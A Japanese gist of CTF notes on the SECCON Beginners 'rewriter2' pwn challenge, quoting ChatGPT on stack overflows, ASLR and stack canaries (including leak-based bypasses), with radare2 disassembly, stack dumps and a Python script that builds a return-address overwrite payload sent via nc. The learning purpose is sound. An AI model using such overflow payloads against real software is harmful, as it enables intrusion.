    この手法では、スタック上のバッファに対するオーバーフローを利用します。具体的には、スタック上のリターンアドレスをオーバーライドすることで、関数がリターンする際のジャンプ先を任意の関数(この場合 win)に変更します。

  2. ヒープバッファオーバーフロー (Heap Buffer Overflow):
    ヒープ上のバッファに対するオーバーフローを利用する手法です。関数ポインタや任意のデータ構造をオーバーライドすることでプログラムのフローを制御します。

これらの手法を利用するには、まずそのプログラムにバッファオーバーフローが可能な箇所があるかどうか、例えば gets などの安全でない関数が使われているかなどを確認します。

もしバッファオーバーフローが可能であれば、次にどのようにオーバーフローを起こすか、どのアドレスにジャンプすれば win 関数を呼び出せるかなどを調査します。

これらの調査は、プログラムのソースコードの解析だけでなく、デバッガや逆アセンブラを使ったバイナリの解析も含みます。

なお、これらの手法は現実のシステムで用いると違法行為となりますので、許可された環境でのみ利用してください。

また、実際のシステムでは、ASLR (Address Space Layout Randomization) や スタックカナリ (Stack Canary) などの保護メカニズムが使われることがあります。これらのメカニズムを回避するための追加的な手法を用いる必要がある場合もあります。

ASLR や Stack Canary について、補足して教えてください

もちろんです。それぞれの概念について説明します。

ASLR (Address Space Layout Randomization): ASLRはメモリエクスプロイトを難しくするためのセキュリティ技術です。具体的には、プログラムがロードされるときにそのアドレス空間がランダム化されます。つまり、各実行ごとにスタック、ヒープ、ライブラリ、そして実行可能コード等の位置が変わります。その結果、攻撃者は予めメモリアドレスを知ることができず、エクスプロイトの作成が難しくなります。このASLRを回避する方法の一つとしては、リーク攻撃(Leak Attack)があります。これは、何らかの方法でメモリアドレスを漏らすことでASLRの効果を無効化します。

Stack Canary: スタックカナリはスタックバッファオーバーフロー攻撃を防ぐためのセキュリティメカニズムです。この技術では、関数呼び出しの際に予め定められたランダムな値(カナリ値)をスタックフレームに保存します。関数がリターンする前に、このカナリ値が変更されていないか確認します。もしカナリ値が変更されていた場合、それはバッファオーバーフロー攻撃が行われたことを示しており、その場合プログラムは中断されます。スタックカナリを回避するためには、カナリの値を変更せずにエクスプロイトを行うか、あるいは何らかの方法でカナリの値を予め知る必要があります。

これらのセキュリティメカニズムは現代のシステムでは広く採用されており、エクスプロイトを作成する際にはこれらのメカニズムをどのように回避するかも考慮する必要があります。

@hassaku63
Copy link
Author

__show_stack() の実装を見る限り、Stack canary は隠されているように見える。これは後から考える。

ひとまず、関数呼び出しでスタックが積まれる場合のメモリレイアウトを理解することろから。

(ChatGPT)
関数呼び出し時における引数や戻り先のアドレスはどのようなメモリレイアウトになりますか?

関数呼び出し時の引数や戻り先のアドレスのメモリレイアウトは、プラットフォームやアーキテクチャによって異なりますが、一般的なC言語の呼び出し規約に基づいて説明します。

C言語の一般的な呼び出し規約では、以下のようなメモリレイアウトが一般的です(x86アーキテクチャを例に説明します):

  1. スタック領域(Stack Area):
  • スタック領域は関数呼び出しによって使用されるローカル変数や一時的なデータを格納するための領域です。
  • 引数は通常、スタック領域にプッシュされます。引数の順序やプッシュの方法は呼び出し規約によって異なりますが、通常は右から左の順にスタックにプッシュされます。
  • スタック領域にはスタックフレームと呼ばれるデータ構造が存在し、スタックフレームには引数、ローカル変数、一時的なデータ、戻り先のアドレスなどが格納されます。
  1. プログラムカウンタ(Program Counter):
  • プログラムカウンタは、実行中の命令のアドレスを指すレジスタです。
  • 関数呼び出し時には、現在の関数の戻り先のアドレスがプログラムカウンタに保存されます。これにより、関数が終了した後に制御が戻る場所がわかります。
  1. ベースポインタ(Base Pointer):
  • ベースポインタは、スタックフレーム内のローカル変数や引数へのアクセスを容易にするためのレジスタです。
  • ベースポインタは、スタックフレーム内のデータへの相対的なオフセットを計算するために使用されます。

上記のメモリレイアウトは一般的なものであり、特定のプラットフォームやアーキテクチャによって細かな違いがあるかもしれません。特に、異なる呼び出し規約やアーキテクチャが使用される場合は、メモリレイアウトが異なる可能性があります。したがって、特定のプラットフォームやアーキテクチャの呼び出し規約やメモリレイアウトについては、そのドキュメントや仕様を参照することをおすすめします。

@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

Stack buffer を用いるとして話を進める。

まずは仕組みを知らないとどうしようもないので、「戻り先のアドレス」をどこで指定するのか調べる。

__show_stack() を見つつなんとなく想像してみる

[Addr]             | [Value]            
====================+===================
 0x00007fffffffe220 | 0x00007ffff7fbf2e8  <- buf
 0x00007fffffffe228 | 0x0000555555555500 
 0x00007fffffffe230 | 0x0000000000000000 
 0x00007fffffffe238 | 0x0000555555555120 
 0x00007fffffffe240 | 0x00007fffffffe340 
 0x00007fffffffe248 | xxxxx hidden xxxxx  <- canary
 0x00007fffffffe250 | 0x0000000000000000  <- saved rbp
 0x00007fffffffe258 | 0x00007ffff7df2083  <- saved ret addr
 0x00007fffffffe260 | 0x00007ffff7ffc620 
 0x00007fffffffe268 | 0x00007fffffffe348 

自分のイメージはこれ。

出典: https://courses.engr.illinois.edu/cs225/fa2022/resources/stack-heap/

今回介入できるのはローカル変数なのでスタック領域の話、と想像している。

レジスタの説明を見てみる: https://www.mztn.org/lxasm64/amd04.html
さっきの課題で使った radare2 の出力なども見てみると、おそらく主要レジスタはこんな感じ?

  • RAX, RBX, RCX, RDX ... 汎用
  • RSI, RDI ... アドレス系入ってることが多い?
  • RBP ... 多分、引数をスタックに積む時のアドレス...?
  • RSP ... 戻り先っぽい

RAX は関数呼び出しの戻り値になっていそう。
RCX, RDX は第1, 第2引数に使われていそう

main で宣言されてるローカル変数がこれ

┌ 204: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_8h @ rbp-0x8
│           ; var int64_t var_30h @ rbp-0x30

コードを見比べると、これは char buf[BUF_SIZE]; に対応しているはず。

__show_stakc() 付近の操作がこれ。

│           0x0040125c      488d45d0       lea rax, [var_30h]
│           0x00401260      4889c7         mov rdi, rax
│           0x00401263      e87d000000     call sym.__show_stack

__show_stack() には buf のポインタを渡していることから、main の var_30h が buf であるとわかる。

やってることは

  1. buf のアドレスを rax にコピー
  2. rax を rdi にコピー
  3. __show_stack 呼び出し

rdi が第一引数ということになりそう。戻り値が rax なのはなんとなく他の実験から見えているので、そこは合っているていで読み進める。

次に __show_stack()

[0x004012e5]> pdf
            ; CALL XREFS from main @ 0x401218(x), 0x401263(x), 0x4012a2(x)
┌ 411: sym.__show_stack (int64_t arg1);
│           ; arg int64_t arg1 @ rdi
│           ; var int64_t var_8h @ rbp-0x8
│           ; var int64_t var_ch @ rbp-0xc
│           ; var int64_t var_18h @ rbp-0x18
│           0x004012e5      f30f1efa       endbr64
│           0x004012e9      55             push rbp
│           0x004012ea      4889e5         mov rbp, rsp
│           0x004012ed      4883ec20       sub rsp, 0x20
│           0x004012f1      48897de8       mov qword [*ptr], rdi    ; arg1

ローカル変数は宣言順の逆順に並ぶので、最初に宣言されてる unsigned long *ptr = stack;var int64_t var_18h @ rbp-0x18 に対応 してるらしいとわかる

@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

ローカル変数とか引数が Stack に積まれるのはイメージついた。

他に何が積まれているのかは __show_stack() の内容がいったん全部出してくれてるものとして見ていく

資料になりそうなスライドがあるのでこちらも見比べる。

https://www.slideshare.net/codeblue_jp/master-canary-forging-by-code-blue-2015#9

[Addr]             | [Value]            
====================+===================
 0x00007fffffffe220 | 0x00007ffff7fbf2e8  <- buf
 0x00007fffffffe228 | 0x0000555555555500 
 0x00007fffffffe230 | 0x0000000000000000 
 0x00007fffffffe238 | 0x0000555555555120 
 0x00007fffffffe240 | 0x00007fffffffe340 
 0x00007fffffffe248 | xxxxx hidden xxxxx  <- canary
 0x00007fffffffe250 | 0x0000000000000000  <- saved rbp
 0x00007fffffffe258 | 0x00007ffff7df2083  <- saved ret addr
 0x00007fffffffe260 | 0x00007ffff7ffc620 
 0x00007fffffffe268 | 0x00007fffffffe348 
  • "canary" は stack canary
  • "saved rdp" は framepointer
  • "saved ret addr" がリターンアドレス

という解釈になりそう。これを canary を変更しないで(?) "ret addr" だけ win() のアドレスになるよう上書きしたい、というのがこの問題のやりたいことに見える。

main では 1 byte x 32 要素の buf に対して最大 256 byte まで入力を許しているので、十分に ret addr を書き換えるだけの入力を受け付けられるように見える。

@hassaku63
Copy link
Author

リターンアドレスの書き換えには、

  • buf = 32 byte
  • (?) = 8 byte
  • canary = 8 byte
  • saved rbp = 8 byte
  • saved ret addr = 8 byte

が必要。

56 byte を適当に埋めて、次の 8 byte にリターンアドレスを上書きする必要がある

win() のシンボルはこうなる。

nth paddr      vaddr      bind   type   size lib name                                   demangled
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
64  0x000012c2 0x004012c2 GLOBAL FUNC   35       win  ; 元のバイナリ
67  0x000012eb 0x000012eb GLOBAL FUNC   35       win  ; ubuntu 上で再コンパイルした場合

元のバイナリのアドレス = 0x004012c2 を決め打ちで行ってみる

 [Addr]             | [Value]            
====================+===================
 0x00007fffc6475a70 | 0x00007fb47812c2e8  <- buf
 0x00007fffc6475a78 | 0x00000000004014e0 
 0x00007fffc6475a80 | 0x0000000000000000 
 0x00007fffc6475a88 | 0x0000000000401110 
 0x00007fffc6475a90 | 0x00007fffc6475b90 
 0x00007fffc6475a98 | xxxxx hidden xxxxx  <- canary
 0x00007fffc6475aa0 | 0x0000000000000000  <- saved rbp
 0x00007fffc6475aa8 | 0x00007fb477f5f083  <- saved ret addr
 0x00007fffc6475ab0 | 0x00007fb478165620 
 0x00007fffc6475ab8 | 0x00007fffc6475b98 

What's your name? 1234
Hello, 1234

 [Addr]             | [Value]            
====================+===================
 0x00007fffc6475a70 | 0x00007f0a34333231  <- buf
 0x00007fffc6475a78 | 0x00000000004014e0 
 0x00007fffc6475a80 | 0x0000000000000000 
 0x00007fffc6475a88 | 0x0000000000401110 
 0x00007fffc6475a90 | 0x00007fffc6475b90 
 0x00007fffc6475a98 | xxxxx hidden xxxxx  <- canary
 0x00007fffc6475aa0 | 0x0000000000000000  <- saved rbp
 0x00007fffc6475aa8 | 0x00007fb477f5f083  <- saved ret addr
 0x00007fffc6475ab0 | 0x00007fb478165620 
 0x00007fffc6475ab8 | 0x00007fffc6475b98 

と、リトルエンディアン(であってる?)で入っていく様子が見える

56 byte を適当に埋めて、次の 8 byte にリターンアドレスを上書きする必要がある

0x000012c2 を埋めるためには

[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xc2] これを逆順して並べると良さそう?

@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

雑にバイナリ生成書いてみた。

# gen.py
base = [0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37]

data = []

# buf
data.append(base)
data.append(base)
data.append(base)
data.append(base)
# ?
data.append(base)
# canary
data.append(base)
# frame pointer
#data.append(base)
# saved rbp
# data.append(base)
data.append([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])


addr = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xc2]
addr.reverse()

data.append(addr)

with open('data', 'wb') as fp:
    for item in data:
        fp.write(bytes(item))

__show_stack() の出力見ながら適当にコメント入れたりしてるので↑のコードはまあ当てずっぽう

python gen.py
$ cat data | nc rewriter2.beginners.seccon.games 9001

 [Addr]             | [Value]            
====================+===================
 0x00007fffaf6ed2e0 | 0x00007fb81acfd2e8  <- buf
 0x00007fffaf6ed2e8 | 0x00000000004014e0 
 0x00007fffaf6ed2f0 | 0x0000000000000000 
 0x00007fffaf6ed2f8 | 0x0000000000401110 
 0x00007fffaf6ed300 | 0x00007fffaf6ed400 
 0x00007fffaf6ed308 | xxxxx hidden xxxxx  <- canary
 0x00007fffaf6ed310 | 0x0000000000000000  <- saved rbp
 0x00007fffaf6ed318 | 0x00007fb81ab30083  <- saved ret addr
 0x00007fffaf6ed320 | 0x00007fb81ad2f620 
 0x00007fffaf6ed328 | 0x00007fffaf6ed408 

What's your name? Hello, 012345670123456701234567012345670123456701234567

 [Addr]             | [Value]            
====================+===================
 0x00007fffaf6ed2e0 | 0x3736353433323130  <- buf
 0x00007fffaf6ed2e8 | 0x3736353433323130 
 0x00007fffaf6ed2f0 | 0x3736353433323130 
 0x00007fffaf6ed2f8 | 0x3736353433323130 
 0x00007fffaf6ed300 | 0x3736353433323130 
 0x00007fffaf6ed308 | xxxxx hidden xxxxx  <- canary
 0x00007fffaf6ed310 | 0x0000000000000000  <- saved rbp
 0x00007fffaf6ed318 | 0x00000000000012c2  <- saved ret addr
 0x00007fffaf6ed320 | 0x00007fb81ad2f620 
 0x00007fffaf6ed328 | 0x00007fffaf6ed408 

How old are you? 

"How old are you? " は適当に入力してみた。が、制御が戻ってこない

@hassaku63
Copy link
Author

↑制御が戻ってこないということは

0x00000000000012c2 という指定の仕方が自分の意図と反しているか、
あるいは canary の書き換えが検知されたか、だと思っている

ただ、canary について調べてみた感じではそのまま終了するっぽいようにも見えるのでたぶん前者なんじゃかなろうかと思っている(よくわかっていない)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment